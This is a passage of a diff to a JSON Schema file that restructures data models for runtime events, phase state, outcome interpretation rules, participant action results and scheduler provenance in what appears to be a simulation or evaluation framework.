1, - "title": "Attempt Id", + "title": "Disposition", "type": "string" }, - "burst_position": { - "minimum": 0, - "title": "Burst Position", - "type": "integer" + "edge_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Edge Id" }, - "candidate_id": { + "event_id": { "minLength": 1, - "title": "Candidate Id", + "title": "Event Id", "type": "string" }, - "dependency_candidate_ids": { + "event_kind": { + "enum": [ + "phase-activated", + "phase-transition", + "decision", + "attempt", + "result", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + "delivery", + "observation", + "handoff", + "weakening", + "failure" + ], + "title": "Event Kind", + "type": "string" + }, + "evidence_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Dependency Candidate Ids", + "maxItems": 64, + "title": "Evidence Refs", "type": "array" }, - "occurrence_id": { - "minLength": 1, - "title": "Occurrence Id", - "type": "string" - }, - "policy_address": { - "minLength": 1, - "title": "Policy Address", - "type": "string" - }, - "policy_profile": { - "enum": [ - "participant-autonomous-execution/v2", - "participant-autonomous-execution/v3" - ], - "title": "Policy Profile", - "type": "string" + "mapping_loss_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "title": "Mapping Loss Refs", + "type": "array" }, - "predecessor_attempt_id": { + "mapping_ref": { "anyOf": [ { "minLength": 1, @@ -1399,801 +1612,789 @@ } ], "default": null, - "title": "Predecessor Attempt Id" + "title": "Mapping Ref" }, - "random_address": { - "$ref": "#/$defs/ParticipantStreamAddressModel" - }, - "random_control_id": { + "order_ref": { "minLength": 1, - "title": "Random Control Id", + "title": "Order Ref", "type": "string" }, - "random_profile_id": { + "phase_id": { "minLength": 1, - "title": "Random Profile Id", + "title": "Phase Id", "type": "string" }, - "terminal_outcome": { + "phase_revision": { + "minimum": 0, + "title": "Phase Revision", + "type": "integer" + }, + "plan_entry_id": { "minLength": 1, - "title": "Terminal Outcome", + "title": "Plan Entry Id", "type": "string" }, - "timing_disposition": { - "enum": [ - "drawn", - "next_opening", - "retry", - "burst" + "plan_id": { + "minLength": 1, + "title": "Plan Id", + "type": "string" + }, + "policy_decision_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } ], - "title": "Timing Disposition", + "default": null, + "title": "Policy Decision Ref" + }, + "predecessor_event_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Predecessor Event Id" + }, + "profile_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Profile Digest", "type": "string" }, - "timing_tick": { - "minimum": 0, - "title": "Timing Tick", - "type": "integer" + "profile_id": { + "minLength": 1, + "title": "Profile Id", + "type": "string" + }, + "provenance_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "title": "Provenance Refs", + "type": "array" + }, + "run_id": { + "minLength": 1, + "title": "Run Id", + "type": "string" } }, "required": [ - "policy_address", - "policy_profile", - "occurrence_id", - "attempt_id", - "candidate_id", - "timing_tick", - "timing_disposition", - "burst_position", - "random_control_id", - "random_profile_id", - "random_address", - "terminal_outcome" + "event_id", + "event_kind", + "run_id", + "plan_id", + "plan_entry_id", + "profile_id", + "profile_digest", + "phase_id", + "phase_revision", + "active_component_ids", + "active_allocation_ids", + "disposition", + "order_ref" ], - "title": "ParticipantActivityOccurrenceProvenanceModel", + "title": "MixedCompositionRuntimeEventModel", "type": "object" }, - "ParticipantAdmissionDisposition": { - "description": "RUN-306 selection/admission disposition values.", - "enum": [ - "admitted", - "rejected", - "withheld", - "unknown", - "not_applicable" - ], - "title": "ParticipantAdmissionDisposition", - "type": "string" - }, - "ParticipantApprovalOccurrenceModel": { + "MixedCompositionRuntimeStateModel": { "additionalProperties": false, - "description": "Approval of exactly one proposal revision, before action admission.", + "description": "The current phase fold over a validated append-only event chain.", "properties": { - "authority_basis_refs": { + "active_allocation_ids": { "items": { "minLength": 1, "type": "string" }, + "maxItems": 1024, "minItems": 1, - "title": "Authority Basis Refs", + "title": "Active Allocation Ids", "type": "array" }, - "behavior_specification_ref": { - "minLength": 1, - "title": "Behavior Specification Ref", - "type": "string" - }, - "controlled_scope_refs": { + "active_component_ids": { "items": { "minLength": 1, "type": "string" }, + "maxItems": 64, "minItems": 1, - "title": "Controlled Scope Refs", + "title": "Active Component Ids", "type": "array" }, - "controller_ref": { - "minLength": 1, - "title": "Controller Ref", - "type": "string" + "active_edge_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 1024, + "title": "Active Edge Ids", + "type": "array" }, - "controller_state_ref": { + "history_head": { "minLength": 1, - "title": "Controller State Ref", + "title": "History Head", "type": "string" }, - "decision_ref": { + "phase_id": { "minLength": 1, - "title": "Decision Ref", + "title": "Phase Id", "type": "string" }, - "decision_revision": { - "minimum": 1, - "title": "Decision Revision", + "phase_revision": { + "minimum": 0, + "title": "Phase Revision", "type": "integer" }, - "declaration_ref": { + "plan_entry_id": { "minLength": 1, - "title": "Declaration Ref", + "title": "Plan Entry Id", "type": "string" }, - "disposition": { - "$ref": "#/$defs/ParticipantControlDisposition" - }, - "effective_order": { - "minimum": 0, - "title": "Effective Order", - "type": "integer" - }, - "expected_state_revision": { - "minimum": 0, - "title": "Expected State Revision", - "type": "integer" - }, - "kind": { - "const": "approval", - "title": "Kind", + "plan_id": { + "minLength": 1, + "title": "Plan Id", "type": "string" }, - "limitation_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "minItems": 1, - "title": "Limitation Refs", - "type": "array" - }, - "mixed_control_policy_ref": { + "profile_digest": { "minLength": 1, - "title": "Mixed Control Policy Ref", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Profile Digest", "type": "string" }, - "occurrence_revision": { - "minimum": 1, - "title": "Occurrence Revision", - "type": "integer" - }, - "policy_revision": { + "profile_id": { "minLength": 1, - "title": "Policy Revision", + "title": "Profile Id", "type": "string" }, - "proposal_ref": { + "run_id": { "minLength": 1, - "title": "Proposal Ref", + "title": "Run Id", "type": "string" - }, - "proposal_revision": { - "minimum": 1, - "title": "Proposal Revision", - "type": "integer" - }, - "reason_code": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Reason Code" - }, - "reason_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Reason Ref" - }, - "valid_from_order": { - "minimum": 0, - "title": "Valid From Order", - "type": "integer" - }, - "valid_until_order": { - "minimum": 0, - "title": "Valid Until Order", - "type": "integer" } }, "required": [ - "declaration_ref", - "controller_ref", - "controller_state_ref", - "authority_basis_refs", - "controlled_scope_refs", - "behavior_specification_ref", - "mixed_control_policy_ref", - "policy_revision", - "expected_state_revision", - "effective_order", - "valid_from_order", - "valid_until_order", - "occurrence_revision", - "disposition", - "limitation_refs", - "kind", - "proposal_ref", - "proposal_revision", - "decision_ref", - "decision_revision" + "run_id", + "plan_id", + "plan_entry_id", + "profile_id", + "profile_digest", + "phase_id", + "phase_revision", + "active_component_ids", + "active_allocation_ids", + "history_head" ], - "title": "ParticipantApprovalOccurrenceModel", + "title": "MixedCompositionRuntimeStateModel", "type": "object" }, - "ParticipantAttributionCandidateKind": { - "description": "Portable candidate classes for participant attribution edges.", + "ObservationStrength": { + "description": "Strongest evidence a backend configuration emits for one concern.", "enum": [ - "action", - "state_change", - "detection", - "alert", - "observation", - "evidence", - "downstream_outcome", - "evaluation_result", - "objective_result" + "none", + "driver-reported", + "daemon-observed", + "guest-observed" ], - "title": "ParticipantAttributionCandidateKind", + "title": "ObservationStrength", "type": "string" }, - "ParticipantAttributionCandidateModel": { + "ObservedOperatingSystemIdentityModel": { "additionalProperties": false, + "description": "Typed guest-observed OS identity carried by a bound disclosure.", "properties": { - "candidate_kind": { - "$ref": "#/$defs/ParticipantAttributionCandidateKind" - }, - "description": { + "distribution": { "minLength": 1, - "title": "Description", + "title": "Distribution", "type": "string" }, - "ref": { + "family": { "minLength": 1, - "title": "Ref", + "title": "Family", + "type": "string" + }, + "version": { + "maxLength": 128, + "minLength": 1, + "pattern": "^[!-~](?:[ -~]{0,126}[!-~])?$", + "title": "Version", "type": "string" } }, "required": [ - "candidate_kind", - "ref", - "description" + "family", + "distribution", + "version" ], - "title": "ParticipantAttributionCandidateModel", + "title": "ObservedOperatingSystemIdentityModel", "type": "object" }, - "ParticipantAttributionEdgeModel": { + "OutcomeInterpretationParticipantScope": { + "description": "Allowed participant scope for SEM-215 interpretation rules.", + "enum": [ + "participant_local" + ], + "title": "OutcomeInterpretationParticipantScope", + "type": "string" + }, + "OutcomeInterpretationRule": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], + "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", "properties": { - "cause_candidate": { - "$ref": "#/$defs/ParticipantAttributionCandidateModel" - }, - "confidence": { - "minLength": 1, - "title": "Confidence", - "type": "string" - }, - "edge_id": { - "minLength": 1, - "title": "Edge Id", - "type": "string" - }, - "effect_candidate": { - "$ref": "#/$defs/ParticipantAttributionCandidateModel" - }, - "episode_id": { - "minLength": 1, - "title": "Episode Id", - "type": "string" - }, - "evidence_basis": { - "$ref": "#/$defs/ParticipantAttributionEvidenceBasisModel" + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" }, "evidence_refs": { "items": { - "minLength": 1, "type": "string" }, "minItems": 1, "title": "Evidence Refs", "type": "array" }, - "interpretation_rule_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Interpretation Rule Ref" + "interpretation_basis": { + "title": "Interpretation Basis", + "type": "string" }, "limitations": { "items": { - "minLength": 1, "type": "string" }, "minItems": 1, "title": "Limitations", "type": "array" }, - "observation_point": { - "minLength": 1, - "title": "Observation Point", + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, + "observation_point_basis": { + "title": "Observation Point Basis", "type": "string" }, - "ordering_basis": { - "$ref": "#/$defs/ParticipantAttributionOrderingBasisModel" + "participant_scope": { + "$ref": "#/$defs/OutcomeInterpretationParticipantScope" }, - "participant_address": { - "minLength": 1, - "title": "Participant Address", + "semantic_version": { + "title": "Semantic Version", "type": "string" }, - "strength": { - "minLength": 1, - "title": "Strength", - "type": "string" + "source_bindings": { + "items": { + "$ref": "#/$defs/OutcomeInterpretationSourceBinding" + }, + "minItems": 1, + "title": "Source Bindings", + "type": "array" }, - "support_class": { - "$ref": "#/$defs/ParticipantAttributionSupportClass" + "target_bindings": { + "items": { + "$ref": "#/$defs/OutcomeInterpretationTargetBinding" + }, + "title": "Target Bindings", + "type": "array" } }, "required": [ - "edge_id", - "participant_address", - "episode_id", - "observation_point", - "cause_candidate", - "effect_candidate", - "ordering_basis", - "evidence_basis", - "support_class", - "confidence", - "strength", - "limitations", - "evidence_refs" + "semantic_version", + "participant_scope", + "observation_point_basis", + "interpretation_basis", + "source_bindings", + "target_bindings", + "evidence_refs", + "limitations" ], - "title": "ParticipantAttributionEdgeModel", + "title": "OutcomeInterpretationRule", "type": "object" }, - "ParticipantAttributionEvidenceBasisModel": { + "OutcomeInterpretationSourceBinding": { "additionalProperties": false, + "description": "Declared input to a participant outcome interpretation rule.", "properties": { - "capture_apparatus": { - "minLength": 1, - "title": "Capture Apparatus", - "type": "string" + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" }, - "granularity": { - "minLength": 1, - "title": "Granularity", - "type": "string" + "evidence_refs": { + "items": { + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" }, - "loss_model": { - "minLength": 1, - "title": "Loss Model", + "interpretation_role": { + "title": "Interpretation Role", "type": "string" }, - "observer_effects": { + "provenance_refs": { "items": { - "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Observer Effects", + "title": "Provenance Refs", "type": "array" }, - "redaction_policy": { - "minLength": 1, - "title": "Redaction Policy", + "ref": { + "title": "Ref", "type": "string" + }, + "source_id": { + "title": "Source Id", + "type": "string" + }, + "source_layer": { + "$ref": "#/$defs/OutcomeInterpretationSourceLayer" } }, "required": [ - "capture_apparatus", - "granularity", - "loss_model", - "redaction_policy", - "observer_effects" + "source_id", + "source_layer", + "ref", + "interpretation_role" ], - "title": "ParticipantAttributionEvidenceBasisModel", + "title": "OutcomeInterpretationSourceBinding", "type": "object" }, - "ParticipantAttributionOrderingBasisKind": { - "description": "Explicit ordering bases for attribution edges.", + "OutcomeInterpretationSourceLayer": { + "description": "Semantic layers that may feed a SEM-215 interpretation rule.", "enum": [ - "happened_before", - "workflow_order", - "episode_order", - "backend_event_order", - "replay_order", - "ablation_order", - "structural_causal", - "timestamp_adjacency" + "participant_action_outcome", + "participant_episode_status", + "objective_result", + "workflow_result", + "evaluation_result", + "evidence_claim", + "reward_signal", + "benchmark_milestone", + "subtask", + "gold_step", + "human_assistance", + "scaffold_variant", + "cost_resource_telemetry", + "privacy_redaction_result" ], - "title": "ParticipantAttributionOrderingBasisKind", + "title": "OutcomeInterpretationSourceLayer", "type": "string" }, - "ParticipantAttributionOrderingBasisModel": { + "OutcomeInterpretationTargetBinding": { "additionalProperties": false, + "description": "Declared output relation from a participant outcome interpretation rule.", "properties": { - "basis_kind": { - "$ref": "#/$defs/ParticipantAttributionOrderingBasisKind" + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" }, - "description": { - "minLength": 1, - "title": "Description", - "type": "string" + "evidence_refs": { + "items": { + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" }, - "ordered_event_refs": { + "governance_ref": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Governance Ref" + }, + "limitations": { "items": { - "minLength": 1, "type": "string" }, - "title": "Ordered Event Refs", + "title": "Limitations", "type": "array" }, - "relation_ref": { - "minLength": 1, - "title": "Relation Ref", + "ref": { + "title": "Ref", + "type": "string" + }, + "relation": { + "title": "Relation", + "type": "string" + }, + "target_id": { + "title": "Target Id", "type": "string" + }, + "target_layer": { + "$ref": "#/$defs/OutcomeInterpretationTargetLayer" } }, "required": [ - "basis_kind", - "relation_ref", - "description" + "target_id", + "target_layer", + "ref", + "relation" ], - "title": "ParticipantAttributionOrderingBasisModel", + "title": "OutcomeInterpretationTargetBinding", "type": "object" }, - "ParticipantAttributionSupportClass": { - "description": "Evidence-strength classes for participant attribution.", + "OutcomeInterpretationTargetLayer": { + "description": "Semantic layers a SEM-215 interpretation rule may explicitly produce.", "enum": [ - "declared_association", - "temporal_support", - "contract_support", - "observation_support", - "counterfactual_support", - "intervention_support", - "replay_support", - "ablation_support", - "structural_causal_support" + "scenario_meaning", + "objective_result", + "workflow_result", + "evaluation_result", + "evidence_claim", + "reward_signal", + "benchmark_progress", + "privacy_redaction_result" ], - "title": "ParticipantAttributionSupportClass", + "title": "OutcomeInterpretationTargetLayer", "type": "string" }, - "ParticipantAutonomousExecutionStateModel": { + "ParticipantActionEffectResultModel": { "additionalProperties": false, - "description": "Typed scheduler readback for one participant execution policy.", "properties": { - "attempted_actions": { - "minimum": 0, - "title": "Attempted Actions", - "type": "integer" + "description": { + "minLength": 1, + "title": "Description", + "type": "string" }, - "burst_position": { - "default": 0, - "minimum": 0, - "title": "Burst Position", - "type": "integer" + "diagnostics": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Diagnostics", + "type": "array" }, - "burst_size": { - "default": 1, - "minimum": 1, - "title": "Burst Size", - "type": "integer" + "effect_class": { + "$ref": "#/$defs/ParticipantEffectClass" }, - "candidate_cooldown_until": { - "additionalProperties": { - "type": "integer" - }, - "propertyNames": { - "minLength": 1 + "effect_id": { + "minLength": 1, + "title": "Effect Id", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" }, - "title": "Candidate Cooldown Until", - "type": "object" + "title": "Evidence Refs", + "type": "array" }, - "clock_address": { + "target_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Target Refs", + "type": "array" + } + }, + "required": [ + "effect_id", + "effect_class", + "description" + ], + "title": "ParticipantActionEffectResultModel", + "type": "object" + }, + "ParticipantActionPreconditionResultModel": { + "additionalProperties": false, + "properties": { + "action_contract_address": { "minLength": 1, - "title": "Clock Address", + "title": "Action Contract Address", "type": "string" }, - "completed_candidate_ids": { + "diagnostics": { "items": { "minLength": 1, "type": "string" }, - "title": "Completed Candidate Ids", + "title": "Diagnostics", "type": "array" }, - "current_retry": { - "default": 0, - "minimum": 0, - "title": "Current Retry", - "type": "integer" - }, "episode_id": { "minLength": 1, "title": "Episode Id", "type": "string" }, - "failed_actions": { - "minimum": 0, - "title": "Failed Actions", - "type": "integer" - }, - "in_flight": { - "default": 0, - "minimum": 0, - "title": "In Flight", - "type": "integer" - }, - "last_action_instance_id": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Last Action Instance Id" - }, - "last_candidate_id": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Last Candidate Id" - }, - "lifecycle_state": { - "enum": [ - "running", - "paused", - "completed", - "failed" - ], - "title": "Lifecycle State", - "type": "string" - }, - "next_action_index": { - "minimum": 0, - "title": "Next Action Index", - "type": "integer" - }, - "next_tick": { - "minimum": 0, - "title": "Next Tick", - "type": "integer" + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" }, - "next_timing_disposition": { - "default": "cadence", - "enum": [ - "cadence", - "drawn", - "next_opening" - ], - "title": "Next Timing Disposition", + "observation_point": { + "minLength": 1, + "title": "Observation Point", "type": "string" }, - "occurrence_ordinal": { - "default": 0, - "minimum": 0, - "title": "Occurrence Ordinal", - "type": "integer" - }, "participant_address": { "minLength": 1, "title": "Participant Address", "type": "string" }, - "participant_implementation_ref": { + "precondition_class": { + "$ref": "#/$defs/ParticipantPreconditionClass" + }, + "precondition_id": { "minLength": 1, - "title": "Participant Implementation Ref", + "title": "Precondition Id", "type": "string" }, - "policy_address": { + "status": { + "enum": [ + "satisfied", + "unsatisfied", + "unresolved" + ], + "title": "Status", + "type": "string" + }, + "support_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Support Refs", + "type": "array" + } + }, + "required": [ + "precondition_id", + "precondition_class", + "status", + "participant_address", + "episode_id", + "action_contract_address", + "observation_point" + ], + "title": "ParticipantActionPreconditionResultModel", + "type": "object" + }, + "ParticipantActionResultModel": { + "additionalProperties": false, + "properties": { + "action_contract_address": { "minLength": 1, - "title": "Policy Address", + "title": "Action Contract Address", "type": "string" }, - "policy_digest": { + "action_instance_id": { "minLength": 1, - "title": "Policy Digest", + "title": "Action Instance Id", "type": "string" }, - "profile": { - "default": "participant-autonomous-execution/v1", - "enum": [ - "participant-autonomous-execution/v1", - "participant-autonomous-execution/v2", - "participant-autonomous-execution/v3" - ], - "title": "Profile", + "diagnostics": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Diagnostics", + "type": "array" + }, + "effects": { + "items": { + "$ref": "#/$defs/ParticipantActionEffectResultModel" + }, + "title": "Effects", + "type": "array" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", "type": "string" }, - "random_control_id": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Random Control Id" + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" }, - "random_namespace": { + "failure_class": { "anyOf": [ { - "type": "string" + "$ref": "#/$defs/ParticipantFailureClass" }, { "type": "null" } ], - "default": null, - "title": "Random Namespace" + "default": null }, - "random_profile_id": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Random Profile Id" + "observation_point": { + "minLength": 1, + "title": "Observation Point", + "type": "string" }, - "succeeded_actions": { - "minimum": 0, - "title": "Succeeded Actions", - "type": "integer" + "observations": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Observations", + "type": "array" }, - "time_segment": { - "minimum": 0, - "title": "Time Segment", - "type": "integer" + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" + }, + "preconditions": { + "items": { + "$ref": "#/$defs/ParticipantActionPreconditionResultModel" + }, + "title": "Preconditions", + "type": "array" + }, + "resource_measurements": { + "items": { + "$ref": "#/$defs/ParticipantResourceMeasurementModel" + }, + "title": "Resource Measurements", + "type": "array" + }, + "status": { + "enum": [ + "accepted", + "rejected", + "withheld", + "succeeded", + "failed", + "partial_success", + "unknown" + ], + "title": "Status", + "type": "string" + }, + "temporal_evidence": { + "items": { + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" + }, + "maxItems": 256, + "title": "Temporal Evidence", + "type": "array" } }, "required": [ - "policy_address", - "policy_digest", + "status", "participant_address", "episode_id", - "participant_implementation_ref", - "clock_address", - "time_segment", - "lifecycle_state", - "next_tick", - "next_action_index", - "attempted_actions", - "succeeded_actions", - "failed_actions" + "action_instance_id", + "action_contract_address", + "observation_point" ], - "title": "ParticipantAutonomousExecutionStateModel", + "title": "ParticipantActionResultModel", "type": "object" }, - "ParticipantBehaviorHistoryEventModel": { + "ParticipantActivityOccurrenceProvenanceModel": { "additionalProperties": false, + "description": "Safe within-run scheduler provenance for one native action attempt.", "properties": { - "action_contract_address": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Action Contract Address" - }, - "action_instance_id": { + "attempt_id": { "minLength": 1, - "title": "Action Instance Id", + "title": "Attempt Id", "type": "string" }, - "action_result": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantActionResultModel" - }, - { - "type": "null" - } - ], - "default": null - }, - "activity_provenance": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantActivityOccurrenceProvenanceModel" - }, - { - "type": "null" - } - ], - "default": null - }, - "actor_provenance": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Actor Provenance" + "burst_position": { + "minimum": 0, + "title": "Burst Position", + "type": "integer" }, - "admission_disposition": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantAdmissionDisposition" - }, - { - "type": "null" - } - ], - "default": null + "candidate_id": { + "minLength": 1, + "title": "Candidate Id", + "type": "string" }, - "attribution_edges": { + "dependency_candidate_ids": { "items": { - "$ref": "#/$defs/ParticipantAttributionEdgeModel" + "minLength": 1, + "type": "string" }, - "title": "Attribution Edges", + "title": "Dependency Candidate Ids", "type": "array" }, - "details": { - "$ref": "#/$defs/ParticipantObservationDetailsModel" - }, - "episode_id": { + "occurrence_id": { "minLength": 1, - "title": "Episode Id", + "title": "Occurrence Id", "type": "string" }, - "event_type": { - "$ref": "#/$defs/ParticipantBehaviorHistoryEventType" + "policy_address": { + "minLength": 1, + "title": "Policy Address", + "type": "string" }, - "interaction_class": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantInteractionClass" - }, - { - "type": "null" - } + "policy_profile": { + "enum": [ + "participant-autonomous-execution/v2", + "participant-autonomous-execution/v3" ], - "default": null + "title": "Policy Profile", + "type": "string" }, - "interaction_ref": { + "predecessor_attempt_id": { "anyOf": [ { "minLength": 1, @@ -2204,196 +2405,74 @@ } ], "default": null, - "title": "Interaction Ref" + "title": "Predecessor Attempt Id" }, - "joint_action_set_id": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Joint Action Set Id" - }, - "lifecycle_phase": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantRuntimeLifecyclePhase" - }, - { - "type": "null" - } - ], - "default": null - }, - "observation_boundary_address": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Observation Boundary Address" - }, - "observation_status": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantObservationStatus" - }, - { - "type": "null" - } - ], - "default": null - }, - "operation_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Operation Ref" - }, - "operation_state": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantLifecycleOperationState" - }, - { - "type": "null" - } - ], - "default": null - }, - "outcome_interpretations": { - "items": { - "$ref": "#/$defs/ParticipantOutcomeInterpretationRecordModel" - }, - "title": "Outcome Interpretations", - "type": "array" + "random_address": { + "$ref": "#/$defs/ParticipantStreamAddressModel" }, - "participant_address": { + "random_control_id": { "minLength": 1, - "title": "Participant Address", + "title": "Random Control Id", "type": "string" }, - "phase_realization": { - "anyOf": [ - { - "$ref": "#/$defs/ParticipantPhaseRealization" - }, - { - "type": "null" - } - ], - "default": null - }, - "post_state_digest": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Post State Digest" - }, - "realized_order": { - "anyOf": [ - { - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Realized Order" + "random_profile_id": { + "minLength": 1, + "title": "Random Profile Id", + "type": "string" }, - "shared_state_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Shared State Refs", - "type": "array" + "terminal_outcome": { + "minLength": 1, + "title": "Terminal Outcome", + "type": "string" }, - "state_transition_kind": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "timing_disposition": { + "enum": [ + "drawn", + "next_opening", + "retry", + "burst" ], - "default": null, - "title": "State Transition Kind" - }, - "temporal_contexts": { - "items": { - "$ref": "#/$defs/ParticipantTemporalRuntimeContextModel" - }, - "title": "Temporal Contexts", - "type": "array" - }, - "timestamp": { - "minLength": 1, - "title": "Timestamp", + "title": "Timing Disposition", "type": "string" + }, + "timing_tick": { + "minimum": 0, + "title": "Timing Tick", + "type": "integer" } }, "required": [ - "event_type", - "timestamp", - "participant_address", - "episode_id", - "action_instance_id" + "policy_address", + "policy_profile", + "occurrence_id", + "attempt_id", + "candidate_id", + "timing_tick", + "timing_disposition", + "burst_position", + "random_control_id", + "random_profile_id", + "random_address", + "terminal_outcome" ], - "title": "ParticipantBehaviorHistoryEventModel", + "title": "ParticipantActivityOccurrenceProvenanceModel", "type": "object" }, - "ParticipantBehaviorHistoryEventType": { - "description": "Portable history event kinds for participant behavior semantics.", - "enum": [ - "action_attempted", - "state_transition_recorded", - "observation_emitted" - ], - "title": "ParticipantBehaviorHistoryEventType", - "type": "string" - }, - "ParticipantCancellationEffect": { - "description": "What remained cancellable when the occurrence was recorded.", + "ParticipantAdmissionDisposition": { + "description": "RUN-306 selection/admission disposition values.", "enum": [ - "prevented", - "partial-limitation", - "too-late" + "admitted", + "rejected", + "withheld", + "unknown", + "not_applicable" ], - "title": "ParticipantCancellationEffect", + "title": "ParticipantAdmissionDisposition", "type": "string" }, - "ParticipantCancellationOccurrenceModel": { + "ParticipantApprovalOccurrenceModel": { "additionalProperties": false, - "description": "A cancellation with an explicit non-retroactive effect.", + "description": "Approval of exactly one proposal revision, before action admission.", "properties": { "authority_basis_refs": { "items": { @@ -2409,9 +2488,6 @@ "title": "Behavior Specification Ref", "type": "string" }, - "cancellation_effect": { - "$ref": "#/$defs/ParticipantCancellationEffect" - }, "controlled_scope_refs": { "items": { "minLength": 1, @@ -2431,6 +2507,16 @@ "title": "Controller State Ref", "type": "string" }, + "decision_ref": { + "minLength": 1, + "title": "Decision Ref", + "type": "string" + }, + "decision_revision": { + "minimum": 1, + "title": "Decision Revision", + "type": "integer" + }, "declaration_ref": { "minLength": 1, "title": "Declaration Ref", @@ -2450,7 +2536,7 @@ "type": "integer" }, "kind": { - "const": "cancellation", + "const": "approval", "title": "Kind", "type": "string" }, @@ -2478,6 +2564,16 @@ "title": "Policy Revision", "type": "string" }, + "proposal_ref": { + "minLength": 1, + "title": "Proposal Ref", + "type": "string" + }, + "proposal_revision": { + "minimum": 1, + "title": "Proposal Revision", + "type": "integer" + }, "reason_code": { "anyOf": [ { @@ -2504,26 +2600,6 @@ "default": null, "title": "Reason Ref" }, - "target_kind": { - "enum": [ - "proposal", - "decision", - "admitted-action", - "attempt" - ], - "title": "Target Kind", - "type": "string" - }, - "target_ref": { - "minLength": 1, - "title": "Target Ref", - "type": "string" - }, - "target_revision": { - "minimum": 1, - "title": "Target Revision", - "type": "integer" - }, "valid_from_order": { "minimum": 0, "title": "Valid From Order", @@ -2552,85 +2628,81 @@ "disposition", "limitation_refs", "kind", - "target_kind", - "target_ref", - "target_revision", - "cancellation_effect" - ], - "title": "ParticipantCancellationOccurrenceModel", + "proposal_ref", + "proposal_revision", + "decision_ref", + "decision_revision" + ], + "title": "ParticipantApprovalOccurrenceModel", "type": "object" }, - "ParticipantControlDisposition": { - "description": "Realized disposition of one portable control occurrence.", + "ParticipantAttributionCandidateKind": { + "description": "Portable candidate classes for participant attribution edges.", "enum": [ - "recorded", - "accepted", - "rejected", - "limited", - "superseded", - "cancelled" + "action", + "state_change", + "detection", + "alert", + "observation", + "evidence", + "downstream_outcome", + "evaluation_result", + "objective_result" ], - "title": "ParticipantControlDisposition", + "title": 